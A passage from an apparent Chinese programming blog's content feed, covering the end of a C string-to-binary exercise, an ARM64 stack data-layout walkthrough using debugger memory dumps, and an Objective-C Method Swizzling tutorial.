class="line"></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> * argv[])</span> </span>{</div><div class="line"> &nbsp;</div><div class="line">    <span class="keyword">char</span> nstring[<span class="number">10</span>];</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Input String:"</span>);</div><div class="line">    <span class="built_in">scanf</span>(<span class="string">"%s"</span>, nstring);</div><div class="line"> &nbsp;</div><div class="line">    <span class="keyword">char</span> *resultString = fun(nstring, <span class="number">0</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"%s\n"</span>, resultString);</div><div class="line"> &nbsp;</div><div class="line">    <span class="keyword">long</span> result = strtol(resultString, <span class="literal">NULL</span>, <span class="number">2</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"%ld\n"</span>, result);</div><div class="line"> &nbsp;</div><div class="line">    <span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>输出：</p>
<blockquote>
<p>Input String:20<br>11<br>3</p>
<p>Input String:1040<br>1011<br>11</p>
<p>Input Stirng:2300304<br>1111111<br>127</p>
</blockquote>
<h2 id="知识点总结"><a href="#知识点总结" class="headerlink" title="知识点总结"></a>知识点总结</h2><p><strong>关于字符数组和字符串在函数间的传递</strong></p>
<p>从代码中可以看到我用了两个静态数组变量，之所以不直接定义在函数体内作为局部变量是因为：</p>
<blockquote>
<p>当用字符指针<code>char*</code>返回字符数组首地址时，函数体内的局部变量数组里的值已经被释放，返回的首地址虽然没有变，但里面的值已经无意义了。</p>
</blockquote>
<p>例如：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdio.h"</span></span></div><div class="line">  </div><div class="line">  <span class="function"><span class="keyword">char</span> *<span class="title">test</span><span class="params">()</span></span></div><div class="line">  {</div><div class="line">      <span class="comment">//char tmp[30]="测试";</span></div><div class="line">      <span class="keyword">char</span> *tmp=<span class="string">"测试"</span>;<span class="comment">//写成这样可以用指针返回数组首地址</span></div><div class="line">     <span class="keyword">return</span> tmp;</div><div class="line"> }</div><div class="line"> </div><div class="line"> <span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></div><div class="line"> {</div><div class="line">     <span class="built_in">printf</span>(<span class="string">"%s"</span>,test());</div><div class="line"> }</div></pre></td></tr></tbody></table>

<p>打印出来的值可能是乱码也能为nil。<br>解决方式：<br><strong>1. static全局变量</strong></p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdio.h"</span></span></div><div class="line"> </div><div class="line"><span class="function"><span class="keyword">char</span> *<span class="title">test</span><span class="params">()</span></span></div><div class="line">{</div><div class="line">     <span class="keyword">static</span> <span class="keyword">char</span> tmp[<span class="number">30</span>]=<span class="string">"static测试"</span>;</div><div class="line">     <span class="keyword">return</span> tmp;</div><div class="line">}</div><div class="line"> </div><div class="line"> <span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></div><div class="line">{</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"%s"</span>,test());</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>在数组tmp[30]前面加入了<code>static</code>关键字，它就使得<code>tmp[30]</code>存放在内存中的静态存储区中，所占用的存储单元一直不释放，直到整个程序运行结束。所以当主函数调用完<code>print()</code>函数后，该空间依然存在。所以<code>main()</code>函数中接到首地值后可以访问数组中的元素。</p>
<p><strong>2. 结构体作为返回值</strong></p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdio.h"</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"string.h"</span></span></div><div class="line"></div><div class="line"><span class="keyword">struct</span> ret</div><div class="line">{</div><div class="line">    <span class="keyword">char</span> buf[<span class="number">30</span>];</div><div class="line">};</div><div class="line"> </div><div class="line"> <span class="function"><span class="keyword">struct</span> ret <span class="title">test</span><span class="params">(<span class="keyword">char</span> *tmp)</span></span></div><div class="line">{</div><div class="line">    <span class="keyword">struct</span> ret a;</div><div class="line">    <span class="built_in">strcpy</span>(a.buf,tmp);</div><div class="line">    <span class="keyword">return</span> a;</div><div class="line">}</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></div><div class="line">{</div><div class="line">    <span class="keyword">struct</span> ret b;</div><div class="line">    b=test(<span class="string">"用结构体作为返回值传递数组"</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"%s"</span>,b.buf);</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>两点注意：</p>
<p>1、数组之间的赋值不要直接，即不要直接将数组 A 赋给数组 B，而是要用<code>strcpy</code>（字符型数组）或者<code>memcpy</code>（非字符型数组）。</p>
<p>2、用结构体定义变量和函数时不要忘了结构体名（上面程序的<code>ret</code>）。</p>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] 【原】C语言函数返回数组的问题　<a href="http://www.cnblogs.com/wuqi1003/archive/2013/01/09/2853657.html">http://www.cnblogs.com/wuqi1003/archive/2013/01/09/2853657.html</a><br>[2] C语言中字符串如何转换为二进制、八进制、十进制、十六进制　 　<a href="http://blog.csdn.net/edonlii/article/details/9162769">http://blog.csdn.net/edonlii/article/details/9162769</a><br>[3] C语言之strcat函数　<a href="http://blog.csdn.net/hgj125073/article/details/8439448">http://blog.csdn.net/hgj125073/article/details/8439448</a><br>[4] C语言strcmp()函数：比较字符串（区分大小写）　<a href="http://c.biancheng.net/cpp/html/162.html">http://c.biancheng.net/cpp/html/162.html</a></p>
]]></content>
      <categories>
        <category>习题</category>
      </categories>
  </entry>
  <entry>
    <title>栈·参数存储排布</title>
    <url>/d3a97ef3.html</url>
    <content><![CDATA[<h2 id="基础提要：栈结构"><a href="#基础提要：栈结构" class="headerlink" title="基础提要：栈结构"></a>基础提要：栈结构</h2><p>ARM内存中的栈区域是满递减的，由高地址向低地址增长，SP指针始终指向最后一个压入栈的地址，即栈顶地址。如图所示：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE1.png"></p>
<a id="more"></a>

<h3 id="为什么栈向下增长？"><a href="#为什么栈向下增长？" class="headerlink" title="为什么栈向下增长？"></a>为什么栈向下增长？</h3><blockquote>
<p>每一个可执行C程序，从低地址到高地址依次是：text，data，bss，堆，栈，环境参数变量；<strong>其中堆和栈之间有很大的地址空间空闲着，在需要分配空间的时候，堆向上涨，栈往下涨。</strong></p>
<p>这样设计可以使得堆和栈能够充分利用空闲的地址空间。如果栈向上涨的话，我们就必须得指定栈和堆的一个严格分界线，但这个分界线怎么确定呢？平均分？但是有的程序使用的堆空间比较多，而有的程序使用的栈空间比较多。</p>
<p>所以就可能出现这种情况：一个程序因为栈溢出而崩溃的时候，其实它还有大量闲置的堆空间呢，但是我们却无法使用这些闲置的堆空间。</p>
<p>所以呢，最好的办法就是让堆和栈一个向上涨，一个向下涨，这样它们就可以最大程度地共用这块剩余的地址空间，达到利用率的最大化！！</p>
<p>—— 引用自<a href="http://www.cnblogs.com/youxin/p/3313288.html">判断栈和堆的生长方向</a></p>
</blockquote>
<h3 id="如何判断栈的增长方向？"><a href="#如何判断栈的增长方向？" class="headerlink" title="如何判断栈的增长方向？"></a>如何判断栈的增长方向？</h3><p>很简单，我们可以通过两个函数的调用来确定。我们知道，执行一个函数时，这个函数的相关信息都会出现栈之中，比如参数、返回地址和局部变量。</p>
<p>那么，当它调用另一个函数时，在它栈信息保持不变的情况下，会把被调用函数的信息放到栈中。两个函数的相对信息位置是固定的，肯定是先调用的函数其信息先入栈，后调用的函数其信息后入栈。只需要判断这两个地址，就可以判断栈的增长方向了。</p>
<p>比如设计两个函数<code>fun1()</code>和<code>fun2()</code>，将<code>fun1()</code>中某参数的地址传给<code>fun2()</code>，且在<code>fun1()</code>中调用<code>fun2()</code>，最后在<code>fun2()</code>中打印出两个函数参数的地址，则大功告成。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">func2</span><span class="params">(<span class="keyword">int</span> *a)</span></span></div><div class="line">{</div><div class="line">    <span class="keyword">int</span> b=<span class="number">0</span>;</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"%x\n%x\n"</span>,a,&amp;b);</div><div class="line">}</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">func1</span><span class="params">()</span></span></div><div class="line">{</div><div class="line">    <span class="keyword">int</span> a=<span class="number">0</span>;</div><div class="line">    func2(&amp;a);</div><div class="line">}</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></div><div class="line">{</div><div class="line">    func1();</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>我这边测试打印出来分别是<code>5fbff91c</code> <code>5fbff8f4</code> （我用的<code>Xcode</code> 的 <code>command line</code> 测试的）。即<code>a</code> 的地址 &gt; <code>b</code>的地址，先分配的是高地址，因此是高地址向低地址增长。</p>
<h3 id="如何区分栈底和栈顶？"><a href="#如何区分栈底和栈顶？" class="headerlink" title="如何区分栈底和栈顶？"></a>如何区分栈底和栈顶？</h3><p>很容易将分不清高地址和低地址到底谁才是栈底。我们可以想象一个桶，这个桶内的空间就是栈区，桶底（栈底）是确定了的，不会改变。往桶内加水，即使入栈操作。水面即是栈顶，也就<code>SP</code>指针所在的位置。我们不断加水，只会使得水面（栈顶<code>SP</code>指针）增长，而水底（栈底指针）仍旧不变。而栈区又是高地址向低地址增长，因此栈区的最高地址是为栈低，<code>SP</code>指针是栈顶指针。</p>
<p>只不过，在实际应用情况中，我们经常习惯将栈底指针（最高地址处）放在最上面，<code>SP</code>指针在最下面，也就是一个倒扣着的桶，在失重情况下，往倒扣的桶里加水，水底仍然是栈底指针，水面仍然是栈顶指针，水面随着水的加入而增长。</p>
<h2 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h2><p>在逆向过程中，我一直对栈的数据排列非常迷惑，现在让我们一起来解决它吧！<br>以下是我逆向遇到的一个小实例：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE2.png"></p>
<p>在图中我们可以看到目前运行到第三行代码<code>stp x9, x10, [sp, #8]</code>处，<code>stp</code>指令是将寄存器中的值依次存入后面的地址处。我们先打印一下<code>x12</code> <code>x8</code>以及<code>sp</code>的值：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE3.png"></p>
<p>那么也就是说第二条指令<code>stp x12, x8, [sp, #24]</code>已经将<code>x12</code>和<code>x8</code>的值存入了<code>sp+24</code>地址处。</p>
<p>那么我们仔细想想，究竟这两个值在栈上是如何排列的呢？先存入的是<code>x12</code>还是<code>x8</code>呢？第二参数是在<code>sp+24</code>的高地址处还是低地址处呢？</p>
<p>我们打印一下内存上的信息看一下就知道了：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE4.png"></p>
<blockquote>
<p>/4xb: 就是说从该地址开始，按照1个字节，16进制的方式打印4个单位。<br>/4xw: 按照4个字节，16进制的方式打印4个单位</p>
<p>更多有关打印格式的请看<a href="http://blog.chinaunix.net/uid-26980210-id-3300895.html">gdb查看内存区命令</a></p>
</blockquote>
<p>跟上面<code>x12</code>和<code>x8</code>比较后，我们可以发现，<strong>内存在打印的时候，每个打印单位（这里是以<code>w</code>格式打印，即4个字节）我们要从右往左看（从高地址到低地址），单位内部还是从左到右为高地址到低地址。</strong>也就是说，第一个打印单位的最右边是当前打印地址（最低地址），最后一个打印单位的最左边是最高地址。如下图所示，图中箭头为从高地址指向低地址：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE5.png"></p>
<p>那么，也就是说，<br><code>x12</code>存储在从<code>sp+24 (0x16fd11cc8)</code>到<code>sp+31 (0x16fd11ccf)</code>之间<br><code>x8</code> 存储在从<code>sp+32 (0x16fd11cd0)</code> 到<code>sp+39 (0x16fd11cd7)</code>之间</p>
<p>则他们之间的具体排列如下图所示</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE6.png"></p>
<h3 id="小测试（第3、4行命令）"><a href="#小测试（第3、4行命令）" class="headerlink" title="小测试（第3、4行命令）"></a>小测试（第3、4行命令）</h3><p>现在我们大概对数据的排布有一个更深入的理解了，那么，就以第三行命令来测试一下我们是否真的理解了吧！<br>在执行第三条命令之前，我们先看一下<code>x9</code>，<code>x10</code>的值：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE7.png"></p>
<p>那么，按照上一条命令的方式，我们来猜测一下内存排布吧。<br><code>stp x9, x10, [sp, #8]</code> 这条命令的意思是，将<code>x9</code>，<code>x10</code>中的值依次放入<code>sp+8</code>所在的位置。那么，到底是存储在<code>sp+8</code>的高地址处，还是低地址处呢？</p>
<p>其实很好理解，因为栈是向低地址处增长的，如果我们往<code>sp</code>到<code>sp+8</code>处写入这两个寄存器的值，很明显是不够的，这里只有8个字节的空间，而我们需要16个字节，因此<code>sp</code>指针就会往低地址处移动，则栈空间就增大了，但是<code>sp</code>指针并没有改变，这些指令都没有关于要改变栈顶指针的，所以这个想法是错误的。</p>
<p>也就是说，<strong>在往栈内存储数据时，都在高地址到给定的地址之间存入，即向栈中已分配的空间存入。</strong></p>
<p>那么，<code>x9</code>，<code>x10</code>依次存储在<code>sp+8 ~ sp+15</code>，<code>sp+16 ~ sp+23</code>之间。</p>
<p>按照之前讲的打印单位与单位之间是从右往左为从高地址到低地址，单位内的顺序是从左往右，1个地址存储1个字节（8位，两个字符）。<br>我们按照一个字节一个字节的打印（16进制），则</p>
<ul>
<li>在<code>sp+8 ~ sp+15</code>处的数据应为：<code>64 c3 af 0b 00 00 00 00</code>；</li>
<li>在<code>sp+16 ~ sp+31</code>处的数据应为：<code>86 dd a9 b1 00 00 00 00</code>。</li>
</ul>
<p>如果我们按照<code>4xw</code>的格式打印，则应该是<code>sp+8: 0x0bafc364 0x00000000</code>，<code>sp+16: 0xb1a9dd86 0x00000000</code></p>
<p>我们打印一下看看猜测是否正确：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE8.png"></p>
<p>完全正确！<br>我们继续往下执行第4条命令：<br><code>str x11, [sp]</code>这条命令的意思是，将<code>x11</code>中的值放入<code>sp</code>所指的地方。我们知道<code>sp</code>是栈顶指针，是栈的最后一个元素所在的位置，所以<code>x11</code>肯定是存储在<code>sp</code>到<code>sp+8</code>之间。<br>打印一下<code>x11</code>的值：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE9.png"></p>
<p>那么，依旧按照之前的方法，每个打印单位，要从右往左看：</p>
<ul>
<li>那么<code>sp</code>的地址<code>0x16fd11cb0</code>到<code>sp+8 (0x16fd11cb8)</code>之间依次应该为<code>ef e1 0f db 00 00 00 00</code>；</li>
<li>按照<code>4xw</code>的打印格式则应该为：<code>0x16fd11cb0: 0xdbofelef 0x00000000 0x0bafc364 0x00000000</code> （<code>sp+8 ~ sp+15</code>是刚刚我们执行过的<code>x9</code>的值）</li>
</ul>
<p>打印一下：</p>
<p><img src="/images/2016-10-12-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E6%A0%88%C2%B7%E5%8F%82%E6%95%B0%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F/%E5%9B%BE10.png"></p>
<p>完全正确！<br>好了，现在关于内存栈的数据排列，你是不是有更清晰的图像印在脑海里了呢？</p>
]]></content>
      <categories>
        <category>基础知识</category>
      </categories>
  </entry>
  <entry>
    <title>Hook 原理之 Method Swizzling</title>
    <url>/3062bfbd.html</url>
    <content><![CDATA[<h2 id="基础知识提要"><a href="#基础知识提要" class="headerlink" title="基础知识提要"></a>基础知识提要</h2><p>Method Swizzling 其实就是利用了 <code>runtime</code> 机制，替换了调用的方法（method）的实现（imp）。很多人一看到有 runtime 就头疼了，跟 runloop 一样，由于被太多大牛提起，反而心生胆怯，觉得是一个很难理解的机制。</p>
<p>runtime 运行时机制，主要是在 OC 和 C 语言（或汇编语言）之间架了一座桥梁。比如我之前的文章 <a href="https://harpersu00.github.io/77e03b7f.html">通过汇编解读 objc_msgSend</a> 中提到的调用方法的本质是发送消息，方法调用是 OC 中的，而消息发送，找到方法的入口则是 C （或汇编）中的。这其中转换的过程，就是 runtime。</p>
<a id="more"></a>

<p>runtime 是一个使用 C 语言以及汇编写的动态库。它封装了一些 C 语言的结构体和函数，这些函数可以让使用者在运行时创建、查看、修改类，对象以及方法等。同时也执行着较为底层的传递消息，寻找方法的执行代码的操作。</p>
<p>在使用 runtime 时，一般需要引入 <code>&lt;objc/runtime.h&gt;</code> 头文件。</p>
<h2 id="实现原理"><a href="#实现原理" class="headerlink" title="实现原理"></a>实现原理</h2><p>Method Swizzling，正如之前所提到的，本质就是替换了方法的实现。在 OC 中调用一个方法，这个方法的本质是一条消息，而这条消息的本质，就是一个 selector。也就是说 selector 就代表着这个方法，比如在程序中，我们经常会使用 @selector() 这样的方式来调用另一个方法。</p>
<p>每个类都存储着一个方法列表，又叫调度表（dispatch table），这个表是 selector 与方法的具体实现 IMP 的对应关系，类似于函数名和函数指针。IMP 指向的是方法的具体实现。</p>
<p><img src="/images/2017-03-01-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-Method-Swizzling/imp1.png"></p>
<ol>
<li>交换两个方法的实现。也就是说你调用方法 A，但其实是跳到方法 B 的执行代码中。</li>
<li>修改调用方法的类，那么调用 A 类的方法1，其实是调用 B 类的方法1。</li>
<li>直接设置某个方法的 IMP，那么调用这个方法时，也就直接跳到另外一个 IMP 处了。<br>……</li>
</ol>
<p>总而言之，都是替换了 selector 对应的 IMP。这就是 Method Swizzling 所做的事情。</p>
<p><img src="/images/2017-03-01-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-Method-Swizzling/imp2.png"></p>
<p>上面两张图均来自<a href="http://blog.csdn.net/yiyaaixuexi/article/details/9374411">念茜的博客</a>。</p>
<p>概念区分：</p>
<blockquote>
<ul>
<li>Selector（typedef struct objc_selector *SEL）:在运行时 Selector 用来代表一个方法的名字。Selector 是一个在运行时被注册（或映射）的C类型字符串。 Selector 由编译器产生并且在当类被加载进内存时由运行时自动进行名字和实现的映射。</li>
<li>Method（typedef struct objc_method *Method）:方法是一个不透明的用来代表一个方法的定义的类型。 相当于 SEL + IMP 。</li>
<li>Implementation（typedef id (*IMP)(id, SEL,…)）:这个数据类型指向一个方法的实现的最开始的地方。该方法的第一个参数指向调用方法的自身（即内存中类的实例对象，若是调用类方法，该指针则是指向元类对象 metaclass）。第二个参数是这个方法的名字 selector，该方法的真正参数紧随其后。</li>
</ul>
</blockquote>
<h2 id="常用方法"><a href="#常用方法" class="headerlink" title="常用方法"></a>常用方法</h2><ol>
<li>通过 SEL 获取一个方法 Method<br><code>Method class_getInstanceMethod(Class cls, SEL name);</code></li>
<li>通过 Method 获取该方法的实现 IMP<br><code>IMP method_getImplementation(Method m);</code></li>
<li>返回一个字符串，描述了方法的参数和返回类型<br><code>const char * method_getTypeEncoding(Method m);</code></li>
<li>通过 SEL 以及 IMP 给一个类添加新的方法 Method，其中 types 就是 method_getTypeEncoding 的返回值。<br><code>BOOL class_addMethod(Class cls, SEL name, IMP imp, const char *types);</code></li>
<li>通过给定的 SEL 替换同一个类中的方法的实现 IMP，其中 SEL 是想要替换的 selector 名，IMP 是替换后的实现。<br><code>IMP class_replaceMethod(Class cls, SEL name, IMP imp, const char *types);</code></li>
<li>交换两个方法的实现 IMP<br><code>void method_exchangeImplementations(Method m1, Method m2);</code></li>
</ol>
<blockquote>
<p>class_replaceMethod、method_exchangeImplementations 这两个方法的不同之处在于，前者只是将方法 A 的实现替换为方法 B 的实现，而方法 B 的实现并没有改变。后者则是交换了两个方法的实现。</p>
</blockquote>
<h2 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h2><p>Methode Swizzling 有一个常用场景：我想给 app 中每个视图控制器的 viewDidAppear: 方法中添加 log。无论是简单粗暴的给所有视图控制器添加代码，还是通过继承的方式，都会有大量的重复代码出现。</p>
<p>我们可以考虑一种新的方式：在 category 中实现 method swizzling。</p>
<figure class="highlight objectivec"><table><tr><td class="code"><pre><span class="line"><span class="meta">#import <span class="meta-string">&lt;objc/runtime.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">@implementation</span> <span class="title">UIViewController</span> (<span class="title">Tracking</span>)</span></span><br><span class="line"></span><br><span class="line">+ (<span class="keyword">void</span>)load &#123;</span><br><span class="line">    <span class="keyword">static</span> <span class="built_in">dispatch_once_t</span> onceToken;</span><br><span class="line">    <span class="built_in">dispatch_once</span>(&amp;onceToken, ^&#123;</span><br><span class="line">        Class <span class="keyword">class</span> = [<span class="keyword">self</span> <span class="keyword">class</span>];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 取得 SEL</span></span><br><span class="line">        SEL originalSelector = <span class="keyword">@selector</span>(viewWillAppear:);</span><br><span class="line">        SEL swizzledSelector = <span class="keyword">@selector</span>(xxx_viewWillAppear:);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 取得 Method （对象方法）</span></span><br><span class="line">        Method originalMethod = class_getInstanceMethod(<span class="keyword">class</span>, originalSelector);</span><br><span class="line">        Method swizzledMethod = class_getInstanceMethod(<span class="keyword">class</span>, swizzledSelector);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 如果是类方法的话，使用下面的代码</span></span><br><span class="line">        <span class="comment">// Class class = object_getClass((id)self);</span></span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">        <span class="comment">// Method originalMethod = class_getClassMethod(class, originalSelector);</span></span><br><span class="line">        <span class="comment">// Method swizzledMethod = class_getClassMethod(class, swizzledSelector);</span></span><br><span class="line"></span><br><span class="line">        <span class="built_in">BOOL</span> didAddMethod =</span><br><span class="line">            class_addMethod(<span class="keyword">class</span>,</span><br><span class="line">                originalSelector,</span><br><span class="line">                method_getImplementation(swizzledMethod),</span><br><span class="line">                method_getTypeEncoding(swizzledMethod));</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (didAddMethod) &#123;</span><br><span class="line">            class_replaceMethod(<span class="keyword">class</span>,</span><br><span class="line">                swizzledSelector,</span><br><span class="line">                method_getImplementation(originalMethod),</span><br><span class="line">                method_getTypeEncoding(originalMethod));</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            method_exchangeImplementations(originalMethod, swizzledMethod);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> mark - Method Swizzling</span></span><br><span class="line"></span><br><span class="line">- (<span class="keyword">void</span>)xxx_viewWillAppear:(<span class="built_in">BOOL</span>)animated &#123;</span><br><span class="line">    [<span class="keyword">self</span> xxx_viewWillAppear:animated];</span><br><span class="line">    <span class="built_in">NSLog</span>(<span class="string">@&quot;viewWillAppear: %@&quot;</span>, <span class="keyword">self</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@end</span></span><br></pre></td></tr></table></figure>

<p>上面的代码中， class_addMethod 方法只是为了作一个判断，检测 self 是否已经有了 originalSelector 方法。如果没有这个方法，就会添加一个 SEL 为 originalSelector 的方法，并将 swizzledSelector 的实现赋给它。接着会进入 if (didAddMethod) 分支。</p>
<blockquote>
<p>　　这里有一个值得注意的地方，就是如果在 self 中没有实现这个方法，而父类中有实现，那么在 if (didAddMethod) 分支中，其实是<strong>将父类的 originalSelector 的实现赋给 swizzledSelector</strong>，也就是说会调用父类的方法。<br>　　如果父类也没有实现，消息转发也找不到这个方法，那么才是调用之前添加进入 class 的 originalSelector。结果就是 <strong>originalSelector 和 swizzledSelector 的实现均为 xxx_viewWillAppear:</strong> 。</p>
</blockquote>
<p>如果 self 中已经有了这个方法，那么 class_addMethod 方法就会失败，直接进入 else 分支交换 IMP。</p>
<p>一个容易让人疑惑的点是：在 xxx_viewWillAppear: 的方法内部又调用了 <code>[self xxx_viewWillAppear:animated];</code> 这是因为两个方法的 IMP 已经被调换，这里其实是调用原来的 viewWillAppear: 方法的实现。</p>
<p>在这个例子中，虽然可以不用 Method Swizzling 方法，直接在 category 中重写 viewWillAppear: 方法也能达到目的。但是前者可以控制执行的顺序，以及可以用在非系统类中。而 category 中的方法是直接覆盖了原来的方法的，调用顺序是既定的，且只能用在系统类中。</p>
<h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><h3 id="load"><a href="#load" class="headerlink" title="+load"></a>+load</h3><p>一般来说，Method Swizzling 应该只在 <code>+load</code> 方法中完成。 在 Objective-C 的运行时中，每个类都会自动调用两个方法。+load 是在一个类被初始装载时调用的，+initialize 是在应用第一次调用该类的类方法或实例方法前调用的。在应用程序的一开始就调用执行，是最安全的，避免了很多并发、异常等问题。如果在 +initialize 初始化方法中调用，runtime 很可能死于一个诡异的状态。</p>
<h3 id="dispatch-once"><a href="#dispatch-once" class="headerlink" title="dispatch_once"></a>dispatch_once</h3><p>由于 swizzling 改变了全局的状态，所以需要确保在运行时，我们采用的预防措施是可用的。原子操作就是这样一个用于确保代码只会被执行一次的预防措施，就算是在不同的线程中也能确保代码只执行一次。Grand Central Dispatch 的 dispatch_once 满足了这些需求，所以，<strong>Method Swizzling 应该在 dispatch_once 中完成</strong>。</p>
<h3 id="调用原始实现"><a href="#调用原始实现" class="headerlink" title="调用原始实现"></a>调用原始实现</h3><p>由于很多内部实现对我们来说是不可见的，使用方法交换可能会导致代码结构的改变，而对程序产生其他影响，因此应该调用原始实现来保证内部操作的正常运行。</p>
<h3 id="注意命名"><a href="#注意命名" class="headerlink" title="注意命名"></a>注意命名</h3><p>这也是方法命名的规则，给需要转换的方法加前缀，以区别于原生方法。</p>
<h3 id="类簇"><a href="#类簇" class="headerlink" title="类簇"></a>类簇</h3><p>Method Swizzling对NSArray、NSMutableArray、NSDictionary、NSMutableDictionary 等这些类簇是不起作用的。因为这些类簇类，其实是一种抽象工厂的设计模式。抽象工厂内部有很多其它继承自当前类簇的子类，抽象工厂类会根据不同情况，创建不同的抽象对象来进行使用，真正执行操作的并不是类簇本身。</p>
<p>那么要使它有作用，就需要使用类簇里面的真正的类，比如 <code>objc_getClass(&quot;__NSArrayI&quot;)</code></p>
<table>
<thead>
<tr>
<th align="center">类簇</th>
<th align="center">常用子类</th>
</tr>
</thead>
<tbody><tr>
<td align="center">NSArray</td>
<td align="center">__NSArrayI</td>
</tr>
<tr>
<td align="center">NSMutableArray</td>
<td align="center">__NSArrayM</td>
</tr>
<tr>
<td align="center">NSDictionary</td>
<td align="center">__NSDictionaryI</td>
</tr>
<tr>
<td align="center">NSMutableDictionary</td>
<td align="center">__NSDictionaryM</td>
</tr>
</tbody></table>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] iOS黑魔法－Method Swizzling　<a href="http://www.jianshu.com/p/ff19c04b34d0">http://www.jianshu.com/p/ff19c04b34d0</a><br>[2] iOS runtime实战应用：Method Swizzling　<a href="http://www.jianshu.com/p/3efc3e94b14c">http://www.jianshu.com/p/3efc3e94b14c</a><br>[3] 黑魔法 - Method Swizzling　<a href="http://nucleardev.com/Method-Swizzling/">http://nucleardev.com/Method-Swizzling/</a><br>[4] Method Swizzling　<a href="http://nshipster.cn/method-swizzling/">http://nshipster.cn/method-swizzling/</a></p>
]]></content>
      <categories>
        <category>基础知识</category>
      </categories>
  </entry>
  <entry>
    <title>Hook 原理之 CydiaSubstrate（二）：MSHookMessageEx</title>
    <url>/9acae560.html</url>
